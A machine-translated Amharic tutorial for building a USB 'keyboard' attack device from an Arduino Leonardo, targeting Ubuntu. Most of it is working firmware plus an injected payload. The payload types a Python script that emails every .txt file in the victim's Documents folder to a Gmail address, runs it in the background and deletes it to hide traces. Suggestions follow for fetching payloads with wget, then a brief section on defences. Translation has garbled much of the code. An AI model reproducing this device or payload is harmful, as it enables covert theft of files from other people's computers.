ዝርዝር ሁኔታ:

የአርዱዲኖ ቁልፍ ሰሌዳ የብዝበዛ ማሳያ (HID) እና መከላከል 4 ደረጃዎች (ከስዕሎች ጋር)
የአርዱዲኖ ቁልፍ ሰሌዳ የብዝበዛ ማሳያ (HID) እና መከላከል 4 ደረጃዎች (ከስዕሎች ጋር)

ቪዲዮ: የአርዱዲኖ ቁልፍ ሰሌዳ የብዝበዛ ማሳያ (HID) እና መከላከል 4 ደረጃዎች (ከስዕሎች ጋር)

ቪዲዮ: የአርዱዲኖ ቁልፍ ሰሌዳ የብዝበዛ ማሳያ (HID) እና መከላከል 4 ደረጃዎች (ከስዕሎች ጋር)
ቪዲዮ: Arduino በከፊል ሲብራራ https://t.me/arduinoshopping 2024, ሀምሌ
Anonim
Image
Image
መሣሪያን መገንባት
መሣሪያን መገንባት

በዚህ ፕሮጀክት ውስጥ ኤችአይዲ (ሁመይን በይነገጽ መሣሪያ) በመጠቀም ሊቻል የሚችል የዩኤስቢ ጥቃት ለማስመሰል አርዱዲኖ ሊዮናርዶን እንጠቀማለን።

እኔ ይህንን አጋዥ ስልጠና የፈጠርኳቸው ጠላፊዎችን ለመርዳት ሳይሆን አንዳንድ እውነተኛ አደጋዎችን እና እራስዎን ከእነዚያ አደጋዎች እንዴት መጠበቅ እንደሚችሉ ለማሳየት ነው። ይህ መሣሪያ ለጠላፊዎች በማንኛውም መድረክ ላይ ጥቅም ላይ ሊውል የሚችል መሣሪያ አይደለም ፣ እሱ የበለጠ የፅንሰ -ሀሳብ ማረጋገጫ ነው።

እኛ የሚከተሉትን እንማራለን-

- የቁልፍ ሰሌዳውን ለመምሰል አርዱዲኖ ሊዮናርዶን እንዴት እንደሚጠቀሙ

- ከ SD ካርዶች መረጃን እንዴት ማንበብ እንደሚቻል

- ፋይሎችን የሚቃኝ እና ኢሜል የሚያደርግ የፒቶን ጽሑፍ እንዴት እንደሚፈጥር

- እራስዎን ከዩኤስቢ ጠለፋ መሣሪያዎች እንዴት እንደሚጠብቁ

ደረጃ 1: ቁሳቁሶች

ክፍሎች ፦

1. አርዱዲኖ ሊዮናርዶ

2. የማይክሮ ዩኤስቢ ካርድ አንባቢ

3. ጥቂት ጊባ ኤስዲ ካርድ

4. እንደዚህ ያለ ግፊት (ቪሲሲ ፣ መሬት እና ምልክት)

5. ሴት-ወንድ እና ሴት-ሴት ዝላይ ኬብሎች

6. ማይክሮ ዩኤስቢ ወደ ዩኤስቢ ገመድ

ደረጃ 2 መሣሪያውን መገንባት

መሣሪያን መገንባት
መሣሪያን መገንባት

ከህንፃው መመሪያ በፊት የሥራውን መርህ እንከልስ-

አርዱዲኖ ሊዮናርዶ እንደ የሰው በይነገጽ መሣሪያ (ኤች.አይ.ዲ.) ሊሠራ ስለሚችል አይጤን እና የቁልፍ ሰሌዳውን መምሰል ይችላል። ተርሚናል (በ UBUNTU ሊኑክስ ውስጥ) ለመክፈት እና በተጠቃሚው መነሻ አቃፊ ውስጥ የሚገኘውን /የሰነዶች አቃፊ የሚደርስበትን ትንሽ ስክሪፕት ለመፃፍ ይህንን ባህሪ እንጠቀማለን። txt ፋይሎችን እዚያ ይቅዱ እና ለሌላ ሰው በኢሜል ይላኩ። ተጨማሪ ዝርዝሮችን ለማወቅ ከፈለጉ ቀጣዩን ደረጃ ይመልከቱ።

የማሳያ መሣሪያ ስለሆነ ነገሮች በእውነት ቀላል ስለሆኑ እኛ ምንም ነገር አንሸጥም።

የግንባታ መመሪያዎች

ከመጀመራችን በፊት የተያያዙትን ፋይሎች ይፈትሹ ፣ እኔ የፍሪቲንግ መርሃግብሮችን እና ሁሉንም አስፈላጊ ፋይሎችን አያይዣለሁ

1. ክፍሎቹን ይሰብስቡ

* በአርዱዲኖ ውስጥ የማይክሮ ዩኤስቢ ገመድ ይሰኩ

* የቁልፍ መቀየሪያውን ከአርዱዲኖ (መሬት ፣ ቪሲሲ እና የውጪ ሞዱሉን ከ D8 ጋር ያገናኙ)

* የካርድ አንባቢውን ከአርዲኖ ጋር ያገናኙ (ICSP ራስጌን በመጠቀም)። አርዱዲኖ ሊዮናርዶ ከዲጂታል ፒኖች ጋር የተገናኘ ICSP ራስጌ የለውም ስለዚህ የካርድ አንባቢውን ከ ICSP ራስጌ ጋር ማገናኘት ያስፈልግዎታል። አንዳንድ የ ICSP ስዕሎችን እዚህ ማግኘት ይችላሉ- https://learn.sparkfun.com/tutorials/installing-an… የኤስ ኤስ ፒን ከዲጂታል ፒን 10 ጋር ያገናኙ

2. የአሩዲኖ ኮዱን ያግኙ ፣ በጊትቡብ ላይ የእኔን የአርዲኖ ማከማቻ ማከማቻ/ክሎንግ/https://github.com/danionescu0/arduino እና ወደ ፕሮጀክቶች/የቁልፍ ሰሌዳ_ኤክስፕሎፕ ይሂዱ ወይም ከዚህ በታች ያግኙት

#"የቁልፍ ሰሌዳ. h" ን ያካትቱ

#"SPI.h" #ያካትቱ "SD.h" ሕብረቁምፊ filenameOnCard = "hack.txt"; ሕብረቁምፊ እንቅልፍCommandStartingPoint = "እንቅልፍ::"; የሕብረቁምፊ ትዕዛዝStartingPoint = "Command::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; ባዶነት ማዋቀር () {pinMode (buttonPin ፣ INPUT) ፤ Serial.begin (9600); የቁልፍ ሰሌዳ.ጀማሪ (); ከሆነ (! SD.begin (chipSelect)) {Serial.println ("ካርድ አልተሳካም ወይም የለም!") መመለስ; }} ባዶነት loop () {int buttonState = digitalRead (buttonPin); ከሆነ ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("ተሰቅሏል!"); መዘግየት (500); } ቀዳሚው ButtonState = buttonState; } ባዶነት sdFileToKeyboard () {ፋይል dataFile = SD.open (filenameOnCard); ከሆነ (! dataFile) {Serial.println ("የተጠቀሰው የፋይል ስም በ SD ካርድ ላይ የለም ፣ filenameOnCard ን ይፈትሹ!"); } ሕብረቁምፊ መስመር; ሳለ (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (መስመር); sendToKeyboard (መስመር); } dataFile.close (); } ባዶነት sendToKeyboard (String line) {String workingLine = line; ከሆነ (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (መስመር); መመለስ; } ከሆነ (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (መስመር); Keyboard.println (መስመር); pressEnter (); መመለስ; } Serial.println ("ትዕዛዝ:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; ሳለ (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); ሕብረቁምፊ ትእዛዝ = workingLine.substring (0 ፣ specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; ከሆነ (ትዕዛዝ! = "") {Serial.print ("ትዕዛዝ ተገኝቷል") ፤ Serial.println (ትዕዛዝ) ፤ የቁልፍ ሰሌዳ.ፕሬስ (getCommandCode (ትዕዛዝ)); መዘግየት (delayBetweenCommands); }} Keyboard.releaseAll (); መዘግየት (delayBetweenCommands); } ባዶ ይጫኑEnter () {Keyboard.press (KEY_RETURN); የቁልፍ ሰሌዳ። መልቀቅ ሁሉም (); } ባዶ ባዶ እንቅልፍ ለ (ሕብረቁምፊ መስመር) {int sleepAmount = line.substring (sleepCommandStartingPoint.length () ፣ line.length ())። toInt (); Serial.print ("መተኛት ለ:"); Serial.println (sleepAmount); መዘግየት (sleepAmount); } char getCommandCode (ሕብረቁምፊ ጽሑፍ) {char textCharacters [2]; text.toCharArray (textCharacters, 2); ቻር ኮድ = textCharacters [0]; ኮድ = (ጽሑፍ == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: ኮድ; ኮድ = (ጽሑፍ == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: ኮድ; ኮድ = (ጽሑፍ == "KEY_LEFT_ALT")? KEY_LEFT_ALT: ኮድ; ኮድ = (ጽሑፍ == "KEY_UP_ARROW")? KEY_UP_ARROW: ኮድ; ኮድ = (ጽሑፍ == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: ኮድ; ኮድ = (ጽሑፍ == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: ኮድ; ኮድ = (ጽሑፍ == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: ኮድ; ኮድ = (ጽሑፍ == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: ኮድ; ኮድ = (ጽሑፍ == "KEY_BACKSPACE")? KEY_BACKSPACE: ኮድ; ኮድ = (ጽሑፍ == "KEY_TAB")? KEY_TAB: ኮድ; ኮድ = (ጽሑፍ == "KEY_RETURN")? KEY_RETURN: ኮድ; ኮድ = (ጽሑፍ == "KEY_ESC")? KEY_ESC: ኮድ; ኮድ = (ጽሑፍ == "KEY_INSERT")? KEY_INSERT: ኮድ; ኮድ = (ጽሑፍ == "KEY_DELETE")? KEY_DELETE: ኮድ; ኮድ = (ጽሑፍ == "KEY_PAGE_UP")? KEY_PAGE_UP: ኮድ; ኮድ = (ጽሑፍ == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: ኮድ; ኮድ = (ጽሑፍ == "KEY_HOME")? KEY_HOME: ኮድ; ኮድ = (ጽሑፍ == "KEY_END")? KEY_END: ኮድ; ኮድ = (ጽሑፍ == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: ኮድ; ኮድ = (ጽሑፍ == "KEY_F1")? KEY_F1: ኮድ; ኮድ = (ጽሑፍ == "KEY_F2")? KEY_F2: ኮድ; ኮድ = (ጽሑፍ == "KEY_F3")? KEY_F3: ኮድ; ኮድ = (ጽሑፍ == "KEY_F4")? KEY_F4: ኮድ; ኮድ = (ጽሑፍ == "KEY_F5")? KEY_F5: ኮድ; ኮድ = (ጽሑፍ == "KEY_F6")? KEY_F6: ኮድ; ኮድ = (ጽሑፍ == "KEY_F7")? KEY_F7: ኮድ; ኮድ = (ጽሑፍ == "KEY_F8")? KEY_F8: ኮድ; ኮድ = (ጽሑፍ == "KEY_F9")? KEY_F9: ኮድ; ኮድ = (ጽሑፍ == "KEY_F10")? KEY_F10: ኮድ; ኮድ = (ጽሑፍ == "KEY_F11")? KEY_F1: ኮድ; ኮድ = (ጽሑፍ == "KEY_F12")? KEY_F2: ኮድ;

የመመለሻ ኮድ;

}

3. ኮዱን ወደ አርዱዲኖ ይስቀሉ ፣ የ 9600 ባውድ መጠን ፣ ተከታታይ ወደብ እና አርዱዲኖ ሊዮናርዶ መምረጥዎን እርግጠኛ ይሁኑ።

4. FAT16 ወይም FAT32 ን በመጠቀም የ sd ካርዱን ቅርጸት ይስሩ

5. የ github repo ን ከላይ ከዘጋዎት ፣ ፋይሉ ከዚህ በታች ከተዘረዘረ የ hack.txt ፋይልን ይቅዱ።

ትዕዛዝ:: KEY_LEFT_CTRL ፣ KEY_LEFT_ALT ፣ tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT አስመጪ smtplib ማስመጣት ግሎብ ፣ ኦስ ከ os.path ማስመጣት ማስፋፊያ ከኢሜል። MIMEText MIMET ን ከኢሜል ያስገባል። COMMASPACE ን ያስመጣሉ ፣ የኢሜል ማስመጣት የአካባቢ ጥበቃ አድራጊዎች ቅርጸት

smtp_user = 'ላኪ_ጂሜይል_አድራሻ'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'ሰነዶች'

ርዕሰ ጉዳይ = አካል = 'ከተጠለፉ ኮምፒተሮች ፋይሎች'

አርዕስት = 'ለ ፦ {0} n ከ ፦ {1} n ርዕሰ ጉዳይ ፦ {2} n'.format (ለአድራሻ ፣ smtp_user ፣ ርዕሰ ጉዳይ)

def sendMail (ወደ ፣ ርዕሰ ጉዳይ ፣ ጽሑፍ ፣ ፋይሎች = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE. ይቀላቀሉ (ወደ) መልዕክት ['ቀን'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (ጽሑፍ)) በፋይሎች ውስጥ ለፋይል-ክፍል = MIMEBase ('ትግበራ' ፣ 'octet-stream') part.set_payload (ክፍት (ፋይል ፣ "rb")። ያንብቡ ()) Encoders.encode_base64 (ክፍል) ክፍል። add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (file)) msg.attach (ክፍል)

አገልጋይ = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user ፣ ወደ ፣ msg.as_string ()) server.quit ()

sendMail ([ወደ_አድራሻ] ፣ ርዕሰ ጉዳይ ፣ አካል ፣ glob.glob ("{0}/{1}/*. txt".format (expanduser ("~") ፣ scan_documents_location)))

መተኛት:: 50 ትዕዛዝ::

6. የሚከተሉትን መስመሮች ያርትዑ

smtp_user = 'ላኪ_ኢሜል_አድር'

smtp_pass = 'sender_password' to_address = 'receiver_address'

እና በኢሜል አድራሻዎችዎ ይተኩ

7. ካርዱን ያስወግዱ እና በአርዱዲኖ ካርድ አንባቢ ውስጥ ያስገቡት

ደረጃ 3 - በዝርዝር እንዴት እንደሚሰራ

ጥቃቱ እንዴት እንደሚሰራ

1. አዝራሩ ሲጫን ሊዮናርዶ የ sd ካርድ አንባቢን በመጠቀም የ sd ካርዱን ያነባል። ቁልፎች እና የቁልፍ ጥምር የያዘ ልዩ ፋይል በካርዱ ላይ ይኖራል። የፋይሉ ስም "hack.txt" ነው።

ፋይሉ ጥሬ ጽሑፍን ሊይዝ ይችላል ፣ እና ልክ እንደነበረው ወደ የቁልፍ ሰሌዳው ይተላለፋል።

እንዲሁም እንደ “እንቅልፍ::” እና “ትዕዛዝ::” ያሉ ልዩ ትዕዛዞችን ሊይዝ ይችላል።

እንደዚህ ያለ መስመር

እንቅልፍ:: 200 ማለት የ 200 ሚሴ እንቅልፍ ማለት ነው

እንደዚህ ያለ መስመር

ትዕዛዝ:: KEY_LEFT_CTRL ፣ KEY_LEFT_ALT ፣ t ማለት ግራ ctrl ተጭኗል ፣ ግራ alt ተጭኖ ፣ ተጭኖ ሁሉም ተለቋል ማለት ነው

ሁሉንም ልዩ ቁልፎች እዚህ ማረጋገጥ ይችላሉ-

2. ሊዮናርዶ በመስመር ያነባል ፣ እና ትዕዛዞቹን ይተረጉማል እና በቁልፍ ሰሌዳው ላይ ያሉትን ቁልፎች ይከተላል። ፋይሉ "hack.txt" የሚከተሉትን የሚያደርግ የቁልፍ ጥምር ይ containsል (ለ UBUNTU linux)

ሀ. ተርሚናል ይከፍታል (CTRL + ALT + T)

ለ. ቪን በመጠቀም የፒቶን ፋይልን ይከፍታል (“vi hack.py” ን ይጽፋል)

ሐ. በሰነዶች መነሻ አቃፊ ውስጥ ሁሉንም የጽሑፍ ፋይሎች የሚሰበስብ እና ወደተለየ የጂሜል አድራሻ የሚልክ የፓይዘን ስክሪፕት በውስጡ ይጽፋል

መ. ፋይሉን ከበስተጀርባ ያካሂዳል ("nohup python hack.py &")

ሠ. ፋይሉን ይሰርዛል (rm -rf hack.py)

ረ. ተርሚናል ይዘጋል (ALT + F4)

ይህ ሁሉ በጥቂት ሰከንዶች ውስጥ ይሠራል እና ዱካዎችን አይተውም።

ማሻሻያዎች እና መላ መፈለግ

* ተርሚናል ከከፈትኩ በኋላ የፓይዘን ፋይልን እየፃፍኩ መሆኑን አስተውለው ይሆናል። ወደ እሱ የተሻለው መንገድ የሆነ ቦታ ማስተናገድ እና “wget some_url” ትዕዛዙን በመጠቀም ማውረድ ፣ ከዚያ ወደ hack.py እንደገና መሰየም ይሆናል።

* እንዲሁም ለታለመው ስርዓተ ክወና ዝግጁ የሆነ ብዝበዛ ማውረድ ወይም ማካሄድ እንችላለን

* wifi ወደ ሞጁሉ ሊታከል ይችላል ፣ እና ጠለፋዎቹ በ WIFI በኩል ሊሰቀሉ ይችላሉ

* አርዱዲኖ ማይክሮን (በጣም ትንሽ የሆነውን) መጠቀም እና የብዝበዛ ኮዱን በላዩ ላይ (አነስተኛ ለማድረግ) መጠቀም ይችላሉ

ገደቦች

1. አስመሳዩ መሣሪያ (የቁልፍ ሰሌዳ እና መዳፊት) ምንም ዓይነት ግብረመልስ ስለሌለው ትዕዛዞችን ከሰጠን በኋላ ምን እንደሚሆን አናውቅም። ለምሳሌ ተርሚናልን ለመክፈት ትእዛዝ እሰጣለሁ ፣ ግን መቼ እንደሚከፈት አላውቅም ፣ ከዚያ በኋላ የተተየቡት ቁምፊዎች እንዳይጠፉ የዘፈቀደ መዘግየት መግለፅ አለብኝ።

2. የዩኤስቢ ወደብ አለማግኘት ወይም የሆነ ነገር ለመጫን ፈቃድን የመሳሰሉ የፍቃድ ችግሮች ሊያጋጥሙን ይችላሉ

3. በሊዮናርዶ ላይ የመፃፍ ፍጥነት ያን ያህል ጥሩ አይደለም

4. በታለመ ስርዓተ ክወና ላይ ብቻ ይሠራል (በእኛ ሁኔታ UBUNTU linux)

በሚቀጥለው ደረጃ ኮምፒውተራችን እንዳይጠለፍ ይህንን ገደቦች የሚጠቀሙባቸውን መንገዶች ለመፈለግ ይሞክራል

ደረጃ 4 - የመከላከያ እርምጃዎች

1. የዩኤስቢ ወደቦችን ማሰናከል

-ለዊንዶውስ ይህንን መማሪያ ማየት ይችላሉ

2. የነጭ ዝርዝር የዩኤስቢ መሣሪያዎች -

- ለዊንዶውስ

2. እርስዎ በማይሄዱበት ጊዜ ኮምፒተርዎን ይቆልፉ

3. እንደ ስር አይግቡ (ማንኛውንም ነገር ለመጫን የይለፍ ቃሎችን ይጠይቁ)

4. ራስዎን ወቅታዊ ያድርጉ (በራስ -ሰር ዝመናዎች በርተዋል)

የሚመከር: